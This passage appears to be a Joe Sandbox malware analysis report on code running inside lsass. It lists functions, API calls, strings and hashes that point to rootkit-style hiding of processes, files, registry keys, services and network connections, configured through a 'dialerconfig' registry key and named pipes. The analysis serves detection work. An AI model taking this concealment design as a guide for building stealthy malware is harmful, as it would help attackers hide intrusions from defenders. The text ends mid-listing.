Instruction ID: 69e20323056a9615f1253612b4b675ef762144682d8232d5f9ea75a0753cbd44
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: BE71AE322047C1C6FB289B2699DC3AEA795F754B84F461017DFA947B8BDE35CA288700

Function 00000202C0AE21CC Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000202C0AE2270

Part of subcall function 00000202C0AE30B4: GetProcessHeap.KERNEL32 ref: 00000202C0AE30D7
Part of subcall function 00000202C0AE30B4: HeapAlloc.KERNEL32 ref: 00000202C0AE30EA
Part of subcall function 00000202C0AE30B4: StrCmpNIW.SHLWAPI ref: 00000202C0AE316B
Part of subcall function 00000202C0AE30B4: GetProcessHeap.KERNEL32 ref: 00000202C0AE31D1
Part of subcall function 00000202C0AE30B4: HeapFree.KERNEL32 ref: 00000202C0AE31DF

Strings

S, xrefs: 00000202C0AE2391
dialer, xrefs: 00000202C0AE2269

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: a6338c422d047c8eae01fcbeb907d454b031cf1b87c932ac2c197f7c23e38add
Instruction ID: 25fb4c50494745b03f6fbfcc80ee10dbaa90343c0eba2f6fdf05f69e3cf436e3
Opcode Fuzzy Hash: a6338c422d047c8eae01fcbeb907d454b031cf1b87c932ac2c197f7c23e38add
Instruction Fuzzy Hash: C051D132B107A5C6FB60CF66988C6AD63E4F744794F069413EFA527B86DB38C869C710

Function 00000202C0AE1A14 Relevance: 9.0, APIs: 6, Instructions: 42
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1A58
PathFindFileNameW.SHLWAPI ref: 00000202C0AE1A67
lstrlenW.KERNEL32 ref: 00000202C0AE1A73
StrCpyW.SHLWAPI ref: 00000202C0AE1A86
CloseHandle.KERNEL32 ref: 00000202C0AE1A94

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 0e6e3f53f89941e48a061f18c1508fc8a90b32be57fc0da4f932eebc6dbdb7ec
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: CB013522305B8196FB10DB12A89C76963A1E788FC0F498137CF9943756DE39C9898300

Function 00000202C0AE1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000202C0AE1AD8
StrCmpNIW.SHLWAPI ref: 00000202C0AE1AF2
lstrlenW.KERNEL32 ref: 00000202C0AE1B01
StrCpyW.SHLWAPI ref: 00000202C0AE1B16

Strings

\\?\, xrefs: 00000202C0AE1AE6

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 2e3fad50795f7a0079a38e66a231913a676bdedf83bff55786a910ba4333ad1d
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 0DF03C73304781D2FB608B25E4DC39D6760F754B88F858023CB894A956DE7DC68CCB00

Function 00000202C0AE1274 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE127A
HeapAlloc.KERNEL32 ref: 00000202C0AE1289
GetProcessHeap.KERNEL32 ref: 00000202C0AE12A3
HeapAlloc.KERNEL32 ref: 00000202C0AE12B4

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 04370fa5f8d30b2195b99abe6e113b6bf610919fa5c6b82f6a71ca1cb9b5a3fa
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 13E03973611700C6FB048B62D84C35936E1EB88B41F4A8126CA0907351DF7E8499C740

Function 00000202C0AE3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE347A
PathFindFileNameW.SHLWAPI ref: 00000202C0AE3489

Part of subcall function 00000202C0AE3930: StrCmpNIW.SHLWAPI ref: 00000202C0AE3948

Part of subcall function 00000202C0AE3878: GetModuleHandleW.KERNEL32 ref: 00000202C0AE3886
Part of subcall function 00000202C0AE3878: GetCurrentProcess.KERNEL32 ref: 00000202C0AE38B4
Part of subcall function 00000202C0AE3878: VirtualProtectEx.KERNEL32 ref: 00000202C0AE38D6
Part of subcall function 00000202C0AE3878: GetCurrentProcess.KERNEL32 ref: 00000202C0AE38F4
Part of subcall function 00000202C0AE3878: VirtualProtectEx.KERNEL32 ref: 00000202C0AE3915

CreateThread.KERNEL32 ref: 00000202C0AE34D7

Part of subcall function 00000202C0AE1EB4: GetCurrentThread.KERNEL32 ref: 00000202C0AE1EBF

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 235a7f768eb8c3ab9d0458457c1d5a34f9fd9f592f8dc39969e1513678aacc8f
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 3F118073618781C2F721D721B8CE76D2291BB54706F471027ABA6893D7EF3EC0AC8254

Function 00000202C0AE1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1650: GetProcessHeap.KERNEL32 ref: 00000202C0AE165B
Part of subcall function 00000202C0AE1650: HeapAlloc.KERNEL32 ref: 00000202C0AE166A
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DA
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1707
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE1721
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1741
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE175C
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE177C
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE1797
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17B7
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE17D2
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17F2

Sleep.KERNEL32 ref: 00000202C0AE1C43
SleepEx.KERNEL32 ref: 00000202C0AE1C49

Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE180D
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE182D
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE1848
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1868
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE1883
Part of subcall function 00000202C0AE1650: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE18A3
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE18BE
Part of subcall function 00000202C0AE1650: RegCloseKey.ADVAPI32 ref: 00000202C0AE18C8

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: da309ec870f8e9d4d5b5b498153ffb026461c589e783c2c4c55ac16aa4ae19b4
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 8F310E36300BA5D1FB509F36DEDD36E12A6AB44FC0F064023DFA987697EE24C8798250

Function 00000202C0AB2908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB2A31

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: fe811162bf7b14930204ab85ca965a1531c7317894ac0595a7362860ab0b9f73
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 5E61FC32701351C7FA68CF2A948CB6DB3A1FB04BA4F568027DB1907786DB38E856C704

Non-executed Functions

Function 00000202C0AE2CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE2D80
lstrlenW.KERNEL32 ref: 00000202C0AE2FBA

Part of subcall function 00000202C0AE1A14: OpenProcess.KERNEL32 ref: 00000202C0AE1A3A
Part of subcall function 00000202C0AE1A14: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1A58
Part of subcall function 00000202C0AE1A14: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1A67
Part of subcall function 00000202C0AE1A14: lstrlenW.KERNEL32 ref: 00000202C0AE1A73
Part of subcall function 00000202C0AE1A14: StrCpyW.SHLWAPI ref: 00000202C0AE1A86
Part of subcall function 00000202C0AE1A14: CloseHandle.KERNEL32 ref: 00000202C0AE1A94

GetProcAddress.KERNEL32 ref: 00000202C0AE2D95

Part of subcall function 00000202C0AE1554: StrCmpIW.SHLWAPI ref: 00000202C0AE1585

Part of subcall function 00000202C0AE3930: StrCmpNIW.SHLWAPI ref: 00000202C0AE3948

StrCmpNIW.SHLWAPI ref: 00000202C0AE2DD8
lstrlenW.KERNEL32 ref: 00000202C0AE2F00

Strings

NtQueryObject, xrefs: 00000202C0AE2D8B
\Device\Nsi, xrefs: 00000202C0AE2DCB
ntdll.dll, xrefs: 00000202C0AE2D79

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 3357ed6314eabba8fa08e2096083bcb3f05f8c0f1971a8852dd6ac07c7fe1732
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 5CB17B62210B90C2FB689F25D48C7AD63A4FB84B84F565017EFAA53796DF35CDA8C340

Function 00000202C0AE7E70 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE7E8C
RtlCaptureContext.NTDLL ref: 00000202C0AE7EB9
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE7ED3
RtlVirtualUnwind.NTDLL ref: 00000202C0AE7F14
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7F89
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7F94

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 1c79aad55ccd82dee0190766b37111c65c1eb97836056699a6b1e1d23cddf3b8
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 05310473205B80DAEB609F60E8887EE6364F794744F45442BDB9E47A9AEF38C658C710

Function 00000202C0AEB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AEB585
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AEB59D
RtlVirtualUnwind.NTDLL ref: 00000202C0AEB5D8
IsDebuggerPresent.KERNEL32 ref: 00000202C0AEB611
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AEB61B
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AEB626

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 6b269ed75a72be8ab7d7467a3451bbe869e7fbdbfaf4ff46492a360364212acb
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 1D314C33214B80C6EB60DF25E88879E73A4F788754F510127EBAD47B96EF38C5598B00

Function 00000202C0AEFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AEFF67
WriteFile.KERNEL32 ref: 00000202C0AF021E
WriteFile.KERNEL32 ref: 00000202C0AF0270
GetLastError.KERNEL32 ref: 00000202C0AF0372
GetLastError.KERNEL32 ref: 00000202C0AF03D2

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: a9daa23172fa6c5d4a107eaeca965a46feea8aae7f9fb40a412d1826de46df25
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 3FE1CB33A04B80DAF710CB66D4886DD7BB1F345788F158217EF9A57B9ADA39C51AC700

Function 00000202C0AE1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE165B
HeapAlloc.KERNEL32 ref: 00000202C0AE166A

Part of subcall function 00000202C0AE1274: GetProcessHeap.KERNEL32 ref: 00000202C0AE127A
Part of subcall function 00000202C0AE1274: HeapAlloc.KERNEL32 ref: 00000202C0AE1289
Part of subcall function 00000202C0AE1274: GetProcessHeap.KERNEL32 ref: 00000202C0AE12A3
Part of subcall function 00000202C0AE1274: HeapAlloc.KERNEL32 ref: 00000202C0AE12B4

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DA
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1707
RegCloseKey.ADVAPI32 ref: 00000202C0AE1721
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1741
RegCloseKey.ADVAPI32 ref: 00000202C0AE175C
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE177C
RegCloseKey.ADVAPI32 ref: 00000202C0AE1797
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17B7
RegCloseKey.ADVAPI32 ref: 00000202C0AE17D2
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17F2
RegCloseKey.ADVAPI32 ref: 00000202C0AE180D
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE182D
RegCloseKey.ADVAPI32 ref: 00000202C0AE1848
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1868
RegCloseKey.ADVAPI32 ref: 00000202C0AE1883
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE18A3
RegCloseKey.ADVAPI32 ref: 00000202C0AE18BE
RegCloseKey.ADVAPI32 ref: 00000202C0AE18C8

Part of subcall function 00000202C0AE12C8: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1326
Part of subcall function 00000202C0AE12C8: GetProcessHeap.KERNEL32 ref: 00000202C0AE1334
Part of subcall function 00000202C0AE12C8: HeapAlloc.KERNEL32 ref: 00000202C0AE1345
Part of subcall function 00000202C0AE12C8: RegEnumValueW.ADVAPI32 ref: 00000202C0AE13A1
Part of subcall function 00000202C0AE12C8: GetProcessHeap.KERNEL32 ref: 00000202C0AE13E9
Part of subcall function 00000202C0AE12C8: HeapAlloc.KERNEL32 ref: 00000202C0AE13F7
Part of subcall function 00000202C0AE12C8: GetProcessHeap.KERNEL32 ref: 00000202C0AE141B
Part of subcall function 00000202C0AE12C8: HeapFree.KERNEL32 ref: 00000202C0AE1429
Part of subcall function 00000202C0AE12C8: lstrlenW.KERNEL32 ref: 00000202C0AE1432
Part of subcall function 00000202C0AE12C8: GetProcessHeap.KERNEL32 ref: 00000202C0AE1440
Part of subcall function 00000202C0AE12C8: HeapAlloc.KERNEL32 ref: 00000202C0AE144E

Strings

SOFTWARE\dialerconfig, xrefs: 00000202C0AE16BA
tcp_local, xrefs: 00000202C0AE1826
paths, xrefs: 00000202C0AE17B0
service_names, xrefs: 00000202C0AE17EB
udp, xrefs: 00000202C0AE189C
process_names, xrefs: 00000202C0AE1775
tcp_remote, xrefs: 00000202C0AE1861
pid, xrefs: 00000202C0AE173A
startup, xrefs: 00000202C0AE16FD

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 4aaa1fbf0e72b96de9cac81fd4f7ab81f2ee325bf3078e55ecff6abc8cc10923
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: F671F577710B90C5FB109F66E89C69D27A4FB98B88F421123DB8E47A2ADE39C459C740

Function 00000202C0AE12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1326
GetProcessHeap.KERNEL32 ref: 00000202C0AE1334
HeapAlloc.KERNEL32 ref: 00000202C0AE1345
RegEnumValueW.ADVAPI32 ref: 00000202C0AE13A1

Part of subcall function 00000202C0AE1554: StrCmpIW.SHLWAPI ref: 00000202C0AE1585

GetProcessHeap.KERNEL32 ref: 00000202C0AE13E9
HeapAlloc.KERNEL32 ref: 00000202C0AE13F7
GetProcessHeap.KERNEL32 ref: 00000202C0AE141B
HeapFree.KERNEL32 ref: 00000202C0AE1429
lstrlenW.KERNEL32 ref: 00000202C0AE1432
GetProcessHeap.KERNEL32 ref: 00000202C0AE1440
HeapAlloc.KERNEL32 ref: 00000202C0AE144E
StrCpyW.SHLWAPI ref: 00000202C0AE1470
GetProcessHeap.KERNEL32 ref: 00000202C0AE1485
HeapFree.KERNEL32 ref: 00000202C0AE1493

Strings

d, xrefs: 00000202C0AE1365

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: f78ac25c8aa7bdd24b278013f40ef6e62fb5d5911618730387ce5f21f02b6c5f
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: FB514973218B94D2FB14DB62E58C39EB3A1F788B84F458226DB9947B55DF39C069C700

Function 00000202C0AE1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1EBF

Part of subcall function 00000202C0AE2174: GetModuleHandleA.KERNEL32 ref: 00000202C0AE218C
Part of subcall function 00000202C0AE2174: GetProcAddress.KERNEL32 ref: 00000202C0AE219D

Part of subcall function 00000202C0AE5C10: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5C4B

Strings

NtQueryDirectoryFile, xrefs: 00000202C0AE1F1F
NtDeviceIoControlFile, xrefs: 00000202C0AE1FF6
NtResumeThread, xrefs: 00000202C0AE1F02
NtQuerySystemInformation, xrefs: 00000202C0AE1EE5
NtEnumerateValueKey, xrefs: 00000202C0AE1F76
EnumServiceGroupW, xrefs: 00000202C0AE1F90
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1F3C
ntdll.dll, xrefs: 00000202C0AE1ECD
sechost.dll, xrefs: 00000202C0AE1FD9
EnumServicesStatusExW, xrefs: 00000202C0AE1FB1, 00000202C0AE1FD2
NtEnumerateKey, xrefs: 00000202C0AE1F59
advapi32.dll, xrefs: 00000202C0AE1F97, 00000202C0AE1FB8

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 08831ba54b4148c0853c6b321da8959b0ede21d7b4f39930bbab190b657904fb
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: DF3197A2100B8AE0FB04EF69E8DD7DC2321B754384FC35523A769031779E7A866EC390

Function 00000202C0AE23F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE2405
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE240F

Part of subcall function 00000202C0AE19AC: OpenProcess.KERNEL32 ref: 00000202C0AE19CA
Part of subcall function 00000202C0AE19AC: IsWow64Process.KERNEL32 ref: 00000202C0AE19E0
Part of subcall function 00000202C0AE19AC: CloseHandle.KERNEL32 ref: 00000202C0AE19FB

CreateFileW.KERNEL32 ref: 00000202C0AE2468
WriteFile.KERNEL32 ref: 00000202C0AE2490
ReadFile.KERNEL32 ref: 00000202C0AE24AF
CloseHandle.KERNEL32 ref: 00000202C0AE24B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000202C0AE2438
\\.\pipe\dialerchildproc32, xrefs: 00000202C0AE243F

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: a2b6e8064d34f6058f400fa62b6a60ed05e28081ee27e155f540df09f2b9bfab
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 58211837618B40D2FB109B25E58C75E67A0F789BA4F514217EB9902BAADF3DC54DCB00

Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10AB
RegEnumValueW.ADVAPI32 ref: 00000202C0AE110E
GetProcessHeap.KERNEL32 ref: 00000202C0AE1155
HeapAlloc.KERNEL32 ref: 00000202C0AE1163
GetProcessHeap.KERNEL32 ref: 00000202C0AE1187
HeapFree.KERNEL32 ref: 00000202C0AE1195

Strings

d, xrefs: 00000202C0AE10CE

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: beb3484aa7eb7072961678706af01f231505dba17c28f7f05dceca5e8fb339fc
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 38418273214B90D7E7608F52E48879EB7A1F388B84F01822BDB9907B55DF38D169CB00

Function 00000202C0AE75F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7618
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE766A
_RTC_Initialize.LIBCMT ref: 00000202C0AE7698
